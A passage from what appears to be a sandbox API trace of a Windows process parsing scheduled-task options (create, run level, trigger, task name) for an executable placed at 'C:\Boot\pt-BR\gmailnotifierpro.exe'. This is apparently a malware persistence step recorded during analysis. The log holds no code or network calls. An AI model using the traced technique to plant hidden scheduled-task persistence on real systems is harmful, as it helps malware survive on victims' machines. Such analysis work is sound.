_Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.753] lstrlenW (lpString="|sc|") returned 4 [0108.753] lstrlenW (lpString="|tr|") returned 4 [0108.753] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0108.753] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.753] lstrlenW (lpString="mo") returned 2 [0108.754] lstrlenW (lpString="mo") returned 2 [0108.754] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.754] lstrlenW (lpString="tr") returned 2 [0108.754] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.754] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|mo|") returned 4 [0108.754] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.754] lstrlenW (lpString="|mo|") returned 4 [0108.754] lstrlenW (lpString="|tr|") returned 4 [0108.754] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0108.754] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.754] lstrlenW (lpString="d") returned 1 [0108.754] lstrlenW (lpString="d") returned 1 [0108.754] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.754] lstrlenW (lpString="tr") returned 2 [0108.754] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.754] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|d|") returned 3 [0108.754] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.754] lstrlenW (lpString="|d|") returned 3 [0108.755] lstrlenW (lpString="|tr|") returned 4 [0108.755] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.755] lstrlenW (lpString="m") returned 1 [0108.755] lstrlenW (lpString="m") returned 1 [0108.755] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.755] lstrlenW (lpString="tr") returned 2 [0108.755] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.755] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|m|") returned 3 [0108.755] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.755] lstrlenW (lpString="|m|") returned 3 [0108.755] lstrlenW (lpString="|tr|") returned 4 [0108.755] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.755] lstrlenW (lpString="i") returned 1 [0108.755] lstrlenW (lpString="i") returned 1 [0108.755] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.755] lstrlenW (lpString="tr") returned 2 [0108.756] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.756] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|i|") returned 3 [0108.756] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.756] lstrlenW (lpString="|i|") returned 3 [0108.756] lstrlenW (lpString="|tr|") returned 4 [0108.756] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.756] lstrlenW (lpString="tn") returned 2 [0108.756] lstrlenW (lpString="tn") returned 2 [0108.756] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.756] lstrlenW (lpString="tr") returned 2 [0108.756] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.756] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.756] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.756] lstrlenW (lpString="|tn|") returned 4 [0108.756] lstrlenW (lpString="|tr|") returned 4 [0108.756] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0108.757] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.757] lstrlenW (lpString="tr") returned 2 [0108.757] lstrlenW (lpString="tr") returned 2 [0108.757] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.757] lstrlenW (lpString="tr") returned 2 [0108.757] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.757] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.757] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.757] lstrlenW (lpString="|tr|") returned 4 [0108.757] lstrlenW (lpString="|tr|") returned 4 [0108.757] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0108.757] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.757] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.757] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.757] lstrlenW (lpString="-/") returned 2 [0108.757] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0108.757] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.757] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.757] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.757] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.757] StrChrIW (lpStart="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'", wMatch=0x3a) returned=":\\Boot\\pt-BR\\gmailnotifierpro.exe'" [0108.758] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.758] _memicmp (_Buf1=0x208f92d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.758] _memicmp (_Buf1=0x208f92daa40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.758] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.758] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.758] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.758] lstrlenW (lpString="'C") returned 2 [0108.758] lstrlenW (lpString="-/") returned 2 [0108.758] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0108.758] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.758] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.758] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.758] _memicmp (_Buf1=0x208f92dac00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.758] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.758] GetProcessHeap () returned 0x208f92d0000 [0108.758] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92daa20) returned 1 [0108.758] GetProcessHeap () returned 0x208f92d0000 [0108.758] RtlReAllocateHeap (Heap=0x208f92d0000, Flags=0xc, Ptr=0x208f92daa20, Size=0x4a) returned 0x208f92d4290 [0108.758] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.758] lstrlenW (lpString=" \x09") returned 2 [0108.758] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0108.758] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0108.758] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0108.758] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0108.759] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0108.760] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0108.760] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0108.760] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0108.760] GetLastError () returned 0x0 [0108.760] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.760] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.760] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.760] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.760] lstrlenW (lpString="/rl") returned 3 [0108.760] lstrlenW (lpString="-/") returned 2 [0108.760] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.760] lstrlenW (lpString="create") returned 6 [0108.760] lstrlenW (lpString="create") returned 6 [0108.760] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.760] lstrlenW (lpString="rl") returned 2 [0108.760] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.760] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|create|") returned 8 [0108.760] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.760] lstrlenW (lpString="|create|") returned 8 [0108.760] lstrlenW (lpString="|rl|") returned 4 [0108.760] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0108.760] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.760] lstrlenW (lpString="?") returned 1 [0108.760] lstrlenW (lpString="?") returned 1 [0108.760] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.760] lstrlenW (lpString="rl") returned 2 [0108.760] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.761] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|?|") returned 3 [0108.761] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.761] lstrlenW (lpString="|?|") returned 3 [0108.761] lstrlenW (lpString="|rl|") returned 4 [0108.761] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.761] lstrlenW (lpString="s") returned 1 [0108.761] lstrlenW (lpString="s") returned 1 [0108.761] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.761] lstrlenW (lpString="rl") returned 2 [0108.761] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.761] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|s|") returned 3 [0108.761] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.761] lstrlenW (lpString="|s|") returned 3 [0108.761] lstrlenW (lpString="|rl|") returned 4 [0108.761] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.761] lstrlenW (lpString="u") returned 1 [0108.761] lstrlenW (lpString="u") returned 1 [0108.761] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.761] lstrlenW (lpString="rl") returned 2 [0108.761] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.761] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|u|") returned 3 [0108.761] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.761] lstrlenW (lpString="|u|") returned 3 [0108.761] lstrlenW (lpString="|rl|") returned 4 [0108.761] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.761] lstrlenW (lpString="p") returned 1 [0108.761] lstrlenW (lpString="p") returned 1 [0108.761] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.762] lstrlenW (lpString="rl") returned 2 [0108.762] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.762] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|p|") returned 3 [0108.762] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.762] lstrlenW (lpString="|p|") returned 3 [0108.762] lstrlenW (lpString="|rl|") returned 4 [0108.762] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.764] lstrlenW (lpString="ru") returned 2 [0108.764] lstrlenW (lpString="ru") returned 2 [0108.764] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.764] lstrlenW (lpString="rl") returned 2 [0108.764] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.765] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ru|") returned 4 [0108.765] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.765] lstrlenW (lpString="|ru|") returned 4 [0108.765] lstrlenW (lpString="|rl|") returned 4 [0108.765] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0108.765] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.765] lstrlenW (lpString="rp") returned 2 [0108.765] lstrlenW (lpString="rp") returned 2 [0108.765] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.765] lstrlenW (lpString="rl") returned 2 [0108.765] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.765] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rp|") returned 4 [0108.765] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.765] lstrlenW (lpString="|rp|") returned 4 [0108.765] lstrlenW (lpString="|rl|") returned 4 [0108.765] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0108.765] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.765] lstrlenW (lpString="sc") returned 2 [0108.765] lstrlenW (lpString="sc") returned 2 [0108.765] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.765] lstrlenW (lpString="rl") returned 2 [0108.765] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.765] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.765] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.765] lstrlenW (lpString="|sc|") returned 4 [0108.765] lstrlenW (lpString="|rl|") returned 4 [0108.765] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0108.766] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.766] lstrlenW (lpString="mo") returned 2 [0108.766] lstrlenW (lpString="mo") returned 2 [0108.766] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.766] lstrlenW (lpString="rl") returned 2 [0108.766] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.766] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|mo|") returned 4 [0108.766] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.766] lstrlenW (lpString="|mo|") returned 4 [0108.766] lstrlenW (lpString="|rl|") returned 4 [0108.766] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0108.766] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.766] lstrlenW (lpString="d") returned 1 [0108.766] lstrlenW (lpString="d") returned 1 [0108.766] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.766] lstrlenW (lpString="rl") returned 2 [0108.766] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.766] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|d|") returned 3 [0108.766] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.766] lstrlenW (lpString="|d|") returned 3 [0108.766] lstrlenW (lpString="|rl|") returned 4 [0108.766] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.766] lstrlenW (lpString="m") returned 1 [0108.766] lstrlenW (lpString="m") returned 1 [0108.766] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.766] lstrlenW (lpString="rl") returned 2 [0108.766] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.767] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|m|") returned 3 [0108.767] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.767] lstrlenW (lpString="|m|") returned 3 [0108.767] lstrlenW (lpString="|rl|") returned 4 [0108.767] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.767] lstrlenW (lpString="i") returned 1 [0108.767] lstrlenW (lpString="i") returned 1 [0108.767] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.767] lstrlenW (lpString="rl") returned 2 [0108.767] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.767] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|i|") returned 3 [0108.767] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.767] lstrlenW (lpString="|i|") returned 3 [0108.767] lstrlenW (lpString="|rl|") returned 4 [0108.767] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.767] lstrlenW (lpString="tn") returned 2 [0108.767] lstrlenW (lpString="tn") returned 2 [0108.767] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.767] lstrlenW (lpString="rl") returned 2 [0108.767] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.767] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.767] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.767] lstrlenW (lpString="|tn|") returned 4 [0108.767] lstrlenW (lpString="|rl|") returned 4 [0108.767] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0108.767] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.767] lstrlenW (lpString="tr") returned 2 [0108.768] lstrlenW (lpString="tr") returned 2 [0108.768] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.768] lstrlenW (lpString="rl") returned 2 [0108.768] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.768] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.768] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.768] lstrlenW (lpString="|tr|") returned 4 [0108.768] lstrlenW (lpString="|rl|") returned 4 [0108.768] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0108.768] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.768] lstrlenW (lpString="st") returned 2 [0108.768] lstrlenW (lpString="st") returned 2 [0108.768] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.768] lstrlenW (lpString="rl") returned 2 [0108.768] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.768] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|st|") returned 4 [0108.768] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.768] lstrlenW (lpString="|st|") returned 4 [0108.768] lstrlenW (lpString="|rl|") returned 4 [0108.768] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0108.768] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.768] lstrlenW (lpString="sd") returned 2 [0108.768] lstrlenW (lpString="sd") returned 2 [0108.768] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.768] lstrlenW (lpString="rl") returned 2 [0108.768] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.769] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sd|") returned 4 [0108.769] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.769] lstrlenW (lpString="|sd|") returned 4 [0108.769] lstrlenW (lpString="|rl|") returned 4 [0108.769] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0108.769] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.769] lstrlenW (lpString="ed") returned 2 [0108.769] lstrlenW (lpString="ed") returned 2 [0108.769] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.769] lstrlenW (lpString="rl") returned 2 [0108.769] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.769] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ed|") returned 4 [0108.769] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.769] lstrlenW (lpString="|ed|") returned 4 [0108.769] lstrlenW (lpString="|rl|") returned 4 [0108.769] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0108.769] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.769] lstrlenW (lpString="it") returned 2 [0108.769] lstrlenW (lpString="it") returned 2 [0108.769] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.769] lstrlenW (lpString="rl") returned 2 [0108.769] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.769] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|it|") returned 4 [0108.769] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.769] lstrlenW (lpString="|it|") returned 4 [0108.769] lstrlenW (lpString="|rl|") returned 4 [0108.769] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0108.769] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.770] lstrlenW (lpString="et") returned 2 [0108.770] lstrlenW (lpString="et") returned 2 [0108.770] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.770] lstrlenW (lpString="rl") returned 2 [0108.770] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.770] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|et|") returned 4 [0108.770] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.770] lstrlenW (lpString="|et|") returned 4 [0108.770] lstrlenW (lpString="|rl|") returned 4 [0108.770] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0108.770] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.770] lstrlenW (lpString="k") returned 1 [0108.770] lstrlenW (lpString="k") returned 1 [0108.770] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.770] lstrlenW (lpString="rl") returned 2 